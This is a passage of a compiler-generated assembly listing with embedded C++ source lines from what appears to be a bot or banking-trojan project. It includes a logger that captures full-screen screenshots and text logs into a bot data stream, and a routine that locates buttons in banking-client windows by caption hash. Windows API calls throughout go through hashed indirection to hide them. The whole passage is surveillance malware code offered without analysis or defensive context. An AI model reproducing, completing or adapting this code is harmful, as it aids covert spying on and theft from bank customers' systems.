  00012	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator+=
; 945  : 	return Temp;
  00017	8b 44 24 04	 mov	 eax, DWORD PTR ___$ReturnUdt$[esp-4]
; 946  : }
  0001b	c2 08 00	 ret	 8
??H?$TString@D@@QAE?AV0@PBD@Z ENDP			; TString<char>::operator+
_TEXT	ENDS
PUBLIC	??H?$TString@D@@QAE?AV0@ABV0@@Z			; TString<char>::operator+
; Function compile flags: /Ogspy
;	COMDAT ??H?$TString@D@@QAE?AV0@ABV0@@Z
_TEXT	SEGMENT
___$ReturnUdt$ = 8					; size = 4
_Source$ = 12						; size = 4
??H?$TString@D@@QAE?AV0@ABV0@@Z PROC			; TString<char>::operator+, COMDAT
; _this$ = ecx
; 936  : 	TString<TChar> Temp(*this);
  00000	51		 push	 ecx
  00001	8b 4c 24 08	 mov	 ecx, DWORD PTR ___$ReturnUdt$[esp]
  00005	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@ABV0@@Z ; TString<char>::TString<char>
; 937  : 	Temp += Source;
  0000a	ff 74 24 08	 push	 DWORD PTR _Source$[esp-4]
  0000e	8b 4c 24 08	 mov	 ecx, DWORD PTR ___$ReturnUdt$[esp]
  00012	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@ABV0@@Z ; TString<char>::operator+=
; 938  : 	return Temp;
  00017	8b 44 24 04	 mov	 eax, DWORD PTR ___$ReturnUdt$[esp-4]
; 939  : }
  0001b	c2 08 00	 ret	 8
??H?$TString@D@@QAE?AV0@ABV0@@Z ENDP			; TString<char>::operator+
_TEXT	ENDS
PUBLIC	?Add@?$TListTemplate@PAX@@QAEHPAX@Z		; TListTemplate<void *>::Add
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\listtemplate.cpp
;	COMDAT ?Add@?$TListTemplate@PAX@@QAEHPAX@Z
_TEXT	SEGMENT
_Item$ = 8						; size = 4
?Add@?$TListTemplate@PAX@@QAEHPAX@Z PROC		; TListTemplate<void *>::Add, COMDAT
; _this$ = ecx
; 44   : {
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 45   : 	// 
; 46   : 
; 47   : 	if (FCount == FCapacity)
  00003	8b 46 04	 mov	 eax, DWORD PTR [esi+4]
  00006	3b 46 08	 cmp	 eax, DWORD PTR [esi+8]
  00009	75 0e		 jne	 SHORT $LN1@Add
; 48   : 	{
; 49   : 		if (!UpdateCapacity())
  0000b	e8 00 00 00 00	 call	 ?UpdateCapacity@?$TListTemplate@PAX@@AAE_NXZ ; TListTemplate<void *>::UpdateCapacity
  00010	84 c0		 test	 al, al
  00012	75 05		 jne	 SHORT $LN1@Add
; 50   : 			return -1;
  00014	83 c8 ff	 or	 eax, -1
  00017	eb 10		 jmp	 SHORT $LN3@Add
$LN1@Add:
; 51   :     }
; 52   : 
; 53   : 	int Index = FCount;
  00019	8b 46 04	 mov	 eax, DWORD PTR [esi+4]
; 54   : 	FItems[FCount] = Item;
  0001c	8b 4e 0c	 mov	 ecx, DWORD PTR [esi+12]
  0001f	8b 54 24 08	 mov	 edx, DWORD PTR _Item$[esp]
  00023	89 14 81	 mov	 DWORD PTR [ecx+eax*4], edx
; 55   : 	FCount++;
  00026	ff 46 04	 inc	 DWORD PTR [esi+4]
$LN3@Add:
  00029	5e		 pop	 esi
; 56   : 
; 57   : 	return Index;
; 58   : }
  0002a	c2 04 00	 ret	 4
?Add@?$TListTemplate@PAX@@QAEHPAX@Z ENDP		; TListTemplate<void *>::Add
_TEXT	ENDS
PUBLIC	??_C@_02PCIJFNDE@?$AN?6?$AA@			; `string'
PUBLIC	??_C@_0BA@OHLHLCFD@?$DN?$DN?$DN?$DO?5?$DMScreen?$CFd?$DO?$AA@ ; `string'
PUBLIC	??_C@_0N@JJLHDEGP@screen?$CFd?4png?$AA@		; `string'
PUBLIC	?AddScreen@TBSSSignLog@@AAEXPAXK@Z		; TBSSSignLog::AddScreen
EXTRN	?WriteString@TBotStream@@QAEKPBD@Z:PROC		; TBotStream::WriteString
EXTRN	?WriteBufferA@File@@YAKPBDQAXK@Z:PROC		; File::WriteBufferA
;	COMDAT ??_C@_02PCIJFNDE@?$AN?6?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\misc\bsssign.cpp
CONST	SEGMENT
??_C@_02PCIJFNDE@?$AN?6?$AA@ DB 0dH, 0aH, 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0BA@OHLHLCFD@?$DN?$DN?$DN?$DO?5?$DMScreen?$CFd?$DO?$AA@
CONST	SEGMENT
??_C@_0BA@OHLHLCFD@?$DN?$DN?$DN?$DO?5?$DMScreen?$CFd?$DO?$AA@ DB '===> <S'
	DB	'creen%d>', 00H				; `string'
CONST	ENDS
;	COMDAT ??_C@_0N@JJLHDEGP@screen?$CFd?4png?$AA@
CONST	SEGMENT
??_C@_0N@JJLHDEGP@screen?$CFd?4png?$AA@ DB 'screen%d.png', 00H ; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?AddScreen@TBSSSignLog@@AAEXPAXK@Z
_TEXT	SEGMENT
_FileName$ = -16					; size = 8
_Name$ = -8						; size = 8
_Buf$ = 8						; size = 4
_Size$ = 12						; size = 4
?AddScreen@TBSSSignLog@@AAEXPAXK@Z PROC			; TBSSSignLog::AddScreen, COMDAT
; _this$ = ecx
; 112  : 		{
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 10	 sub	 esp, 16			; 00000010H
; 113  : 			FScreensCount++;
; 114  : 			string Name;
  00006	83 65 fc 00	 and	 DWORD PTR _Name$[ebp+4], 0
  0000a	56		 push	 esi
  0000b	8b f1		 mov	 esi, ecx
  0000d	ff 46 10	 inc	 DWORD PTR [esi+16]
  00010	8b 46 10	 mov	 eax, DWORD PTR [esi+16]
  00013	57		 push	 edi
; 115  : 			Name.Format("screen%d.png", FScreensCount);
  00014	50		 push	 eax
  00015	8d 45 f8	 lea	 eax, DWORD PTR _Name$[ebp]
  00018	68 00 00 00 00	 push	 OFFSET ??_C@_0N@JJLHDEGP@screen?$CFd?4png?$AA@
  0001d	50		 push	 eax
  0001e	c7 45 f8 00 00
	00 00		 mov	 DWORD PTR _Name$[ebp], OFFSET ??_7?$TString@D@@6B@
  00025	e8 00 00 00 00	 call	 ?Format@?$TString@D@@QAAAAV1@PBDZZ ; TString<char>::Format
  0002a	83 c4 0c	 add	 esp, 12			; 0000000cH
; 116  : 			string FileName = FWorkPath + Name;
  0002d	8d 45 f8	 lea	 eax, DWORD PTR _Name$[ebp]
  00030	50		 push	 eax
  00031	8d 45 f0	 lea	 eax, DWORD PTR _FileName$[ebp]
  00034	50		 push	 eax
  00035	8d 4e 04	 lea	 ecx, DWORD PTR [esi+4]
  00038	e8 00 00 00 00	 call	 ??H?$TString@D@@QAE?AV0@ABV0@@Z ; TString<char>::operator+
; 117  : 
; 118  : 			File::WriteBufferA(FileName.t_str(), Buf, Size);
  0003d	8b 45 f4	 mov	 eax, DWORD PTR _FileName$[ebp+4]
  00040	bf 00 00 00 00	 mov	 edi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
  00045	85 c0		 test	 eax, eax
  00047	75 02		 jne	 SHORT $LN10@AddScreen
  00049	8b c7		 mov	 eax, edi
$LN10@AddScreen:
  0004b	ff 75 0c	 push	 DWORD PTR _Size$[ebp]
  0004e	ff 75 08	 push	 DWORD PTR _Buf$[ebp]
  00051	50		 push	 eax
  00052	e8 00 00 00 00	 call	 ?WriteBufferA@File@@YAKPBDQAXK@Z ; File::WriteBufferA
; 119  : 			Name.Format("===> <Screen%d>", FScreensCount);
  00057	ff 76 10	 push	 DWORD PTR [esi+16]
  0005a	8d 45 f8	 lea	 eax, DWORD PTR _Name$[ebp]
  0005d	68 00 00 00 00	 push	 OFFSET ??_C@_0BA@OHLHLCFD@?$DN?$DN?$DN?$DO?5?$DMScreen?$CFd?$DO?$AA@
  00062	50		 push	 eax
  00063	e8 00 00 00 00	 call	 ?Format@?$TString@D@@QAAAAV1@PBDZZ ; TString<char>::Format
  00068	83 c4 18	 add	 esp, 24			; 00000018H
; 120  :             Write(NULL, false, Name.t_str());
  0006b	83 7d fc 00	 cmp	 DWORD PTR _Name$[ebp+4], 0
  0006f	74 03		 je	 SHORT $LN13@AddScreen
  00071	8b 7d fc	 mov	 edi, DWORD PTR _Name$[ebp+4]
$LN13@AddScreen:
  00074	8b 4e 0c	 mov	 ecx, DWORD PTR [esi+12]
  00077	85 c9		 test	 ecx, ecx
  00079	74 13		 je	 SHORT $LN16@AddScreen
  0007b	57		 push	 edi
  0007c	e8 00 00 00 00	 call	 ?WriteString@TBotStream@@QAEKPBD@Z ; TBotStream::WriteString
  00081	8b 4e 0c	 mov	 ecx, DWORD PTR [esi+12]
  00084	68 00 00 00 00	 push	 OFFSET ??_C@_02PCIJFNDE@?$AN?6?$AA@
  00089	e8 00 00 00 00	 call	 ?WriteString@TBotStream@@QAEKPBD@Z ; TBotStream::WriteString
$LN16@AddScreen:
; 121  : 		}
  0008e	8d 4d f0	 lea	 ecx, DWORD PTR _FileName$[ebp]
  00091	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00096	8d 4d f8	 lea	 ecx, DWORD PTR _Name$[ebp]
  00099	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  0009e	5f		 pop	 edi
  0009f	5e		 pop	 esi
  000a0	c9		 leave
  000a1	c2 08 00	 ret	 8
?AddScreen@TBSSSignLog@@AAEXPAXK@Z ENDP			; TBSSSignLog::AddScreen
_TEXT	ENDS
PUBLIC	?MakeFullScreenShot@TBSSSignLog@@AAEXXZ		; TBSSSignLog::MakeFullScreenShot
EXTRN	?MakeToMem@ScreenShot@@YA_NPAUHWND__@@HHKKPAUTDrawCursorInfo@@AAPAEAAK@Z:PROC ; ScreenShot::MakeToMem
; Function compile flags: /Ogspy
;	COMDAT ?MakeFullScreenShot@TBSSSignLog@@AAEXXZ
_TEXT	SEGMENT
_Size$ = -8						; size = 4
_Buf$ = -4						; size = 4
?MakeFullScreenShot@TBSSSignLog@@AAEXXZ PROC		; TBSSSignLog::MakeFullScreenShot, COMDAT
; _this$ = ecx
; 125  : 		{
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
  00005	56		 push	 esi
  00006	8b f1		 mov	 esi, ecx
; 126  : 			// 
; 127  : 			LPBYTE Buf = NULL;
  00008	33 c0		 xor	 eax, eax
; 128  : 			DWORD Size = 0;
; 129  : 			ScreenShot::MakeToMem(NULL, 0, 0, 0, 0, NULL, Buf, Size);
  0000a	8d 4d f8	 lea	 ecx, DWORD PTR _Size$[ebp]
  0000d	51		 push	 ecx
  0000e	8d 4d fc	 lea	 ecx, DWORD PTR _Buf$[ebp]
  00011	51		 push	 ecx
  00012	50		 push	 eax
  00013	50		 push	 eax
  00014	50		 push	 eax
  00015	50		 push	 eax
  00016	50		 push	 eax
  00017	50		 push	 eax
  00018	89 45 fc	 mov	 DWORD PTR _Buf$[ebp], eax
  0001b	89 45 f8	 mov	 DWORD PTR _Size$[ebp], eax
  0001e	e8 00 00 00 00	 call	 ?MakeToMem@ScreenShot@@YA_NPAUHWND__@@HHKKPAUTDrawCursorInfo@@AAPAEAAK@Z ; ScreenShot::MakeToMem
  00023	83 c4 20	 add	 esp, 32			; 00000020H
; 130  :             AddScreen(Buf, Size);
  00026	ff 75 f8	 push	 DWORD PTR _Size$[ebp]
  00029	8b ce		 mov	 ecx, esi
  0002b	ff 75 fc	 push	 DWORD PTR _Buf$[ebp]
  0002e	e8 00 00 00 00	 call	 ?AddScreen@TBSSSignLog@@AAEXPAXK@Z ; TBSSSignLog::AddScreen
; 131  : 			MemFree(Buf);
  00033	ff 75 fc	 push	 DWORD PTR _Buf$[ebp]
  00036	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  0003b	59		 pop	 ecx
  0003c	5e		 pop	 esi
; 132  : 		}
  0003d	c9		 leave
  0003e	c3		 ret	 0
?MakeFullScreenShot@TBSSSignLog@@AAEXXZ ENDP		; TBSSSignLog::MakeFullScreenShot
_TEXT	ENDS
PUBLIC	?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z	; TBSSSignLog::Write
; Function compile flags: /Ogspy
;	COMDAT ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z
_TEXT	SEGMENT
_ScreenWnd$ = 8						; size = 4
_MakeFullScreen$ = 12					; size = 1
_Line$ = 16						; size = 4
?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z PROC		; TBSSSignLog::Write, COMDAT
; _this$ = ecx
; 193  : 		{
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 194  : 			// 
; 195  : 			if (!FStream) return;
  00003	8b 4e 0c	 mov	 ecx, DWORD PTR [esi+12]
  00006	85 c9		 test	 ecx, ecx
  00008	74 24		 je	 SHORT $LN2@Write
; 196  : 
; 197  : 			FStream->WriteString(Line);
  0000a	ff 74 24 10	 push	 DWORD PTR _Line$[esp]
  0000e	e8 00 00 00 00	 call	 ?WriteString@TBotStream@@QAEKPBD@Z ; TBotStream::WriteString
; 198  : 			FStream->WriteString("\r\n");
  00013	8b 4e 0c	 mov	 ecx, DWORD PTR [esi+12]
  00016	68 00 00 00 00	 push	 OFFSET ??_C@_02PCIJFNDE@?$AN?6?$AA@
  0001b	e8 00 00 00 00	 call	 ?WriteString@TBotStream@@QAEKPBD@Z ; TBotStream::WriteString
; 199  : 
; 200  : 			if (MakeFullScreen)
  00020	80 7c 24 0c 00	 cmp	 BYTE PTR _MakeFullScreen$[esp], 0
  00025	74 07		 je	 SHORT $LN2@Write
; 201  : 				MakeFullScreenShot();
  00027	8b ce		 mov	 ecx, esi
  00029	e8 00 00 00 00	 call	 ?MakeFullScreenShot@TBSSSignLog@@AAEXXZ ; TBSSSignLog::MakeFullScreenShot
$LN2@Write:
  0002e	5e		 pop	 esi
; 202  : 
; 203  : 			if (ScreenWnd)
; 204  : 				MakeWndScreenShot(ScreenWnd);
; 205  : 		}
  0002f	c2 0c 00	 ret	 12			; 0000000cH
?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ENDP		; TBSSSignLog::Write
_TEXT	ENDS
PUBLIC	??_C@_0BG@HEOHFGB@?9?9?9?$DO?5?$DMTextLog?$CFd?$DO?5?$FL?$CFs?$FN?$AA@ ; `string'
PUBLIC	??_C@_0O@DHANAFLC@TextLog?$CFd?4txt?$AA@	; `string'
PUBLIC	?AddTextFile@TBSSSignLog@@QAEXPBD0K@Z		; TBSSSignLog::AddTextFile
;	COMDAT ??_C@_0BG@HEOHFGB@?9?9?9?$DO?5?$DMTextLog?$CFd?$DO?5?$FL?$CFs?$FN?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_0BG@HEOHFGB@?9?9?9?$DO?5?$DMTextLog?$CFd?$DO?5?$FL?$CFs?$FN?$AA@ DB '-'
	DB	'--> <TextLog%d> [%s]', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0O@DHANAFLC@TextLog?$CFd?4txt?$AA@
CONST	SEGMENT
??_C@_0O@DHANAFLC@TextLog?$CFd?4txt?$AA@ DB 'TextLog%d.txt', 00H ; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\misc\bsssign.cpp
CONST	ENDS
;	COMDAT ?AddTextFile@TBSSSignLog@@QAEXPBD0K@Z
_TEXT	SEGMENT
_FileName$ = -16					; size = 8
_Name$ = -8						; size = 8
_LogLine$ = 8						; size = 4
_Data$ = 12						; size = 4
_DataLen$ = 16						; size = 4
?AddTextFile@TBSSSignLog@@QAEXPBD0K@Z PROC		; TBSSSignLog::AddTextFile, COMDAT
; _this$ = ecx
; 209  : 		{
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 10	 sub	 esp, 16			; 00000010H
  00006	53		 push	 ebx
; 210  : 			// 
; 211  : 			if (!DataLen)
  00007	8b 5d 10	 mov	 ebx, DWORD PTR _DataLen$[ebp]
  0000a	56		 push	 esi
  0000b	8b f1		 mov	 esi, ecx
  0000d	85 db		 test	 ebx, ebx
  0000f	75 13		 jne	 SHORT $LN17@AddTextFil
; 212  : 				DataLen = STRA::Length(Data);
  00011	ff 75 0c	 push	 DWORD PTR _Data$[ebp]
  00014	e8 00 00 00 00	 call	 ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS<char>::Length
  00019	8b d8		 mov	 ebx, eax
  0001b	59		 pop	 ecx
; 213  : 			if (!DataLen) return;
  0001c	85 db		 test	 ebx, ebx
  0001e	0f 84 88 00 00
	00		 je	 $LN3@AddTextFil
$LN17@AddTextFil:
; 214  : 
; 215  : 			// 
; 216  : 			FScreensCount++;
  00024	ff 46 10	 inc	 DWORD PTR [esi+16]
  00027	8b 46 10	 mov	 eax, DWORD PTR [esi+16]
; 217  : 			string Name;
  0002a	83 65 fc 00	 and	 DWORD PTR _Name$[ebp+4], 0
  0002e	57		 push	 edi
; 218  : 			Name.Format("TextLog%d.txt", FScreensCount);
  0002f	50		 push	 eax
  00030	8d 45 f8	 lea	 eax, DWORD PTR _Name$[ebp]
  00033	68 00 00 00 00	 push	 OFFSET ??_C@_0O@DHANAFLC@TextLog?$CFd?4txt?$AA@
  00038	50		 push	 eax
  00039	c7 45 f8 00 00
	00 00		 mov	 DWORD PTR _Name$[ebp], OFFSET ??_7?$TString@D@@6B@
  00040	e8 00 00 00 00	 call	 ?Format@?$TString@D@@QAAAAV1@PBDZZ ; TString<char>::Format
  00045	83 c4 0c	 add	 esp, 12			; 0000000cH
; 219  : 			string FileName = FWorkPath + Name;
  00048	8d 45 f8	 lea	 eax, DWORD PTR _Name$[ebp]
  0004b	50		 push	 eax
  0004c	8d 45 f0	 lea	 eax, DWORD PTR _FileName$[ebp]
  0004f	50		 push	 eax
  00050	8d 4e 04	 lea	 ecx, DWORD PTR [esi+4]
  00053	e8 00 00 00 00	 call	 ??H?$TString@D@@QAE?AV0@ABV0@@Z ; TString<char>::operator+
; 220  : 
; 221  : 			File::WriteBufferA(FileName.t_str(), (LPVOID)Data, DataLen);
  00058	8b 45 f4	 mov	 eax, DWORD PTR _FileName$[ebp+4]
  0005b	bf 00 00 00 00	 mov	 edi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
  00060	85 c0		 test	 eax, eax
  00062	75 02		 jne	 SHORT $LN12@AddTextFil
  00064	8b c7		 mov	 eax, edi
$LN12@AddTextFil:
  00066	53		 push	 ebx
  00067	ff 75 0c	 push	 DWORD PTR _Data$[ebp]
  0006a	50		 push	 eax
  0006b	e8 00 00 00 00	 call	 ?WriteBufferA@File@@YAKPBDQAXK@Z ; File::WriteBufferA
; 222  : 			Name.Format("---> <TextLog%d> [%s]", FScreensCount, LogLine);
  00070	ff 75 08	 push	 DWORD PTR _LogLine$[ebp]
  00073	8d 45 f8	 lea	 eax, DWORD PTR _Name$[ebp]
  00076	ff 76 10	 push	 DWORD PTR [esi+16]
  00079	68 00 00 00 00	 push	 OFFSET ??_C@_0BG@HEOHFGB@?9?9?9?$DO?5?$DMTextLog?$CFd?$DO?5?$FL?$CFs?$FN?$AA@
  0007e	50		 push	 eax
  0007f	e8 00 00 00 00	 call	 ?Format@?$TString@D@@QAAAAV1@PBDZZ ; TString<char>::Format
; 223  : 			Write(NULL, false, Name.t_str());
  00084	33 c0		 xor	 eax, eax
  00086	83 c4 1c	 add	 esp, 28			; 0000001cH
  00089	39 45 fc	 cmp	 DWORD PTR _Name$[ebp+4], eax
  0008c	74 03		 je	 SHORT $LN15@AddTextFil
  0008e	8b 7d fc	 mov	 edi, DWORD PTR _Name$[ebp+4]
$LN15@AddTextFil:
  00091	57		 push	 edi
  00092	50		 push	 eax
  00093	50		 push	 eax
  00094	8b ce		 mov	 ecx, esi
  00096	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
; 224  :         }
  0009b	8d 4d f0	 lea	 ecx, DWORD PTR _FileName$[ebp]
  0009e	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000a3	8d 4d f8	 lea	 ecx, DWORD PTR _Name$[ebp]
  000a6	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000ab	5f		 pop	 edi
$LN3@AddTextFil:
  000ac	5e		 pop	 esi
  000ad	5b		 pop	 ebx
  000ae	c9		 leave
  000af	c2 0c 00	 ret	 12			; 0000000cH
?AddTextFile@TBSSSignLog@@QAEXPBD0K@Z ENDP		; TBSSSignLog::AddTextFile
_TEXT	ENDS
PUBLIC	?BSSSearchButtons@@YAPAUHWND__@@PAU1@_NKPAVTBotList@@@Z ; BSSSearchButtons
EXTRN	?GetWndText2@@YA?AV?$TString@D@@PAUHWND__@@@Z:PROC ; GetWndText2
; Function compile flags: /Ogspy
;	COMDAT ?BSSSearchButtons@@YAPAUHWND__@@PAU1@_NKPAVTBotList@@@Z
_TEXT	SEGMENT
$T71294 = -8						; size = 8
_Form$ = 8						; size = 4
_OneButton$ = 12					; size = 1
_BtnCaptionHash$ = 16					; size = 4
_Buttons$ = 20						; size = 4
?BSSSearchButtons@@YAPAUHWND__@@PAU1@_NKPAVTBotList@@@Z PROC ; BSSSearchButtons, COMDAT
; 290  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
  00005	53		 push	 ebx
  00006	56		 push	 esi
  00007	57		 push	 edi
; 291  : 	HWND Result = NULL;
  00008	33 db		 xor	 ebx, ebx
; 292  : 	HWND Button = NULL;
; 293  : 	do
; 294  : 	{
; 295  : 		Button = (HWND)pFindWindowExA(Form, Button, NULL, NULL);
  0000a	53		 push	 ebx
  0000b	53		 push	 ebx
  0000c	33 ff		 xor	 edi, edi
  0000e	53		 push	 ebx
  0000f	eb 58		 jmp	 SHORT $LN20@BSSSearchB
$LL8@BSSSearchB:
; 297  : 
; 298  : 		DWORD Hash = GetWndText2(Button).Hash();
  00011	8d 45 f8	 lea	 eax, DWORD PTR $T71294[ebp]
  00014	56		 push	 esi
  00015	50		 push	 eax
  00016	e8 00 00 00 00	 call	 ?GetWndText2@@YA?AV?$TString@D@@PAUHWND__@@@Z ; GetWndText2
  0001b	53		 push	 ebx
  0001c	53		 push	 ebx
  0001d	ff 70 04	 push	 DWORD PTR [eax+4]
  00020	e8 00 00 00 00	 call	 ?Hash@?$STRUTILS@D@@SAKPBDK_N@Z ; STRUTILS<char>::Hash
  00025	83 c4 14	 add	 esp, 20			; 00000014H
  00028	8d 4d f8	 lea	 ecx, DWORD PTR $T71294[ebp]
  0002b	8b f8		 mov	 edi, eax
  0002d	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 299  : 
; 300  : 		// 
; 301  : 		if (Hash != BtnCaptionHash)
  00032	3b 7d 10	 cmp	 edi, DWORD PTR _BtnCaptionHash$[ebp]
  00035	74 16		 je	 SHORT $LN4@BSSSearchB
; 302  : 		{
; 303  : 			Result = BSSSearchButtons(Button, OneButton, BtnCaptionHash, Buttons);
  00037	ff 75 14	 push	 DWORD PTR _Buttons$[ebp]
  0003a	ff 75 10	 push	 DWORD PTR _BtnCaptionHash$[ebp]
  0003d	ff 75 0c	 push	 DWORD PTR _OneButton$[ebp]
  00040	56		 push	 esi
  00041	e8 00 00 00 00	 call	 ?BSSSearchButtons@@YAPAUHWND__@@PAU1@_NKPAVTBotList@@@Z ; BSSSearchButtons
  00046	83 c4 10	 add	 esp, 16			; 00000010H
  00049	8b f8		 mov	 edi, eax
; 304  : 		}
; 305  : 		else
  0004b	eb 10		 jmp	 SHORT $LN2@BSSSearchB
$LN4@BSSSearchB:
; 306  : 		{
; 307  : 			Result = Button;
  0004d	8b fe		 mov	 edi, esi
; 308  : 			if (Buttons)
  0004f	39 5d 14	 cmp	 DWORD PTR _Buttons$[ebp], ebx
  00052	74 09		 je	 SHORT $LN2@BSSSearchB
; 309  : 				Buttons->Add(Button);
  00054	8b 4d 14	 mov	 ecx, DWORD PTR _Buttons$[ebp]
  00057	56		 push	 esi
  00058	e8 00 00 00 00	 call	 ?Add@?$TListTemplate@PAX@@QAEHPAX@Z ; TListTemplate<void *>::Add
$LN2@BSSSearchB:
; 310  : 		}
; 311  : 
; 312  : 		if (Result && OneButton)
  0005d	3b fb		 cmp	 edi, ebx
  0005f	74 05		 je	 SHORT $LN7@BSSSearchB
  00061	38 5d 0c	 cmp	 BYTE PTR _OneButton$[ebp], bl
  00064	75 14		 jne	 SHORT $LN6@BSSSearchB
$LN7@BSSSearchB:
; 292  : 	HWND Button = NULL;
; 293  : 	do
; 294  : 	{
; 295  : 		Button = (HWND)pFindWindowExA(Form, Button, NULL, NULL);
  00066	53		 push	 ebx
  00067	53		 push	 ebx
  00068	56		 push	 esi
$LN20@BSSSearchB:
  00069	ff 75 08	 push	 DWORD PTR _Form$[ebp]
  0006c	e8 00 00 00 00	 call	 ??$pushargEx@$02$0KNEPPMNF@$0BDI@PAUHWND__@@PAU1@HH@@YAPAXPAUHWND__@@0HH@Z ; pushargEx<3,2907700437,312,HWND__ *,HWND__ *,int,int>
  00071	8b f0		 mov	 esi, eax
  00073	83 c4 10	 add	 esp, 16			; 00000010H
; 296  : 		if (Button == NULL) break;
  00076	3b f3		 cmp	 esi, ebx
  00078	75 97		 jne	 SHORT $LL8@BSSSearchB
$LN6@BSSSearchB:
; 313  : 			break;
; 314  : 	}
; 315  : 	while (true);
; 316  : 
; 317  :     return Result;
  0007a	8b c7		 mov	 eax, edi
  0007c	5f		 pop	 edi
  0007d	5e		 pop	 esi
  0007e	5b		 pop	 ebx
; 318  : }
  0007f	c9		 leave
  00080	c3		 ret	 0
?BSSSearchButtons@@YAPAUHWND__@@PAU1@_NKPAVTBotList@@@Z ENDP ; BSSSearchButtons
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_G?$TString@D@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_G?$TString@D@@UAEPAXI@Z PROC				; TString<char>::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@4
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@4:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_G?$TString@D@@UAEPAXI@Z ENDP				; TString<char>::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	??$BSSSignLogTemplate@H_NPBDPAUHWND__@@PAD@@YAXH_NPBDPAUHWND__@@PAD@Z ; BSSSignLogTemplate<int,bool,char const *,HWND__ *,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$BSSSignLogTemplate@H_NPBDPAUHWND__@@PAD@@YAXH_NPBDPAUHWND__@@PAD@Z
_TEXT	SEGMENT
_S$70436 = -8						; size = 8
_ScreenWnd$ = 8						; size = 4
_MakeScreen$ = 12					; size = 1
_Message$ = 16						; size = 4
_Arg1$ = 20						; size = 4
_Arg2$ = 24						; size = 4
??$BSSSignLogTemplate@H_NPBDPAUHWND__@@PAD@@YAXH_NPBDPAUHWND__@@PAD@Z PROC ; BSSSignLogTemplate<int,bool,char const *,HWND__ *,char *>, COMDAT
; 272  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
; 273  : 	#ifdef LOG_BSS_SIGN
; 274  : 		if (Logger)
  00005	83 3d 00 00 00
	00 00		 cmp	 DWORD PTR ?Logger@@3PAVTBSSSignLog@@A, 0 ; Logger
  0000c	74 46		 je	 SHORT $LN1@BSSSignLog
; 275  : 		{
; 276  : 			string S;
; 277  : 			S.Format((PCHAR)Message, Arg1, Arg2);
  0000e	ff 75 18	 push	 DWORD PTR _Arg2$[ebp]
  00011	83 65 fc 00	 and	 DWORD PTR _S$70436[ebp+4], 0
  00015	ff 75 14	 push	 DWORD PTR _Arg1$[ebp]
  00018	8d 45 f8	 lea	 eax, DWORD PTR _S$70436[ebp]
  0001b	ff 75 10	 push	 DWORD PTR _Message$[ebp]
  0001e	c7 45 f8 00 00
	00 00		 mov	 DWORD PTR _S$70436[ebp], OFFSET ??_7?$TString@D@@6B@
  00025	50		 push	 eax
  00026	e8 00 00 00 00	 call	 ?Format@?$TString@D@@QAAAAV1@PBDZZ ; TString<char>::Format
; 278  : 			Logger->Write((HWND)ScreenWnd, (bool)MakeScreen, S.t_str());
  0002b	8b 45 fc	 mov	 eax, DWORD PTR _S$70436[ebp+4]
  0002e	83 c4 10	 add	 esp, 16			; 00000010H
  00031	85 c0		 test	 eax, eax
  00033	75 05		 jne	 SHORT $LN11@BSSSignLog
  00035	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN11@BSSSignLog:
  0003a	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
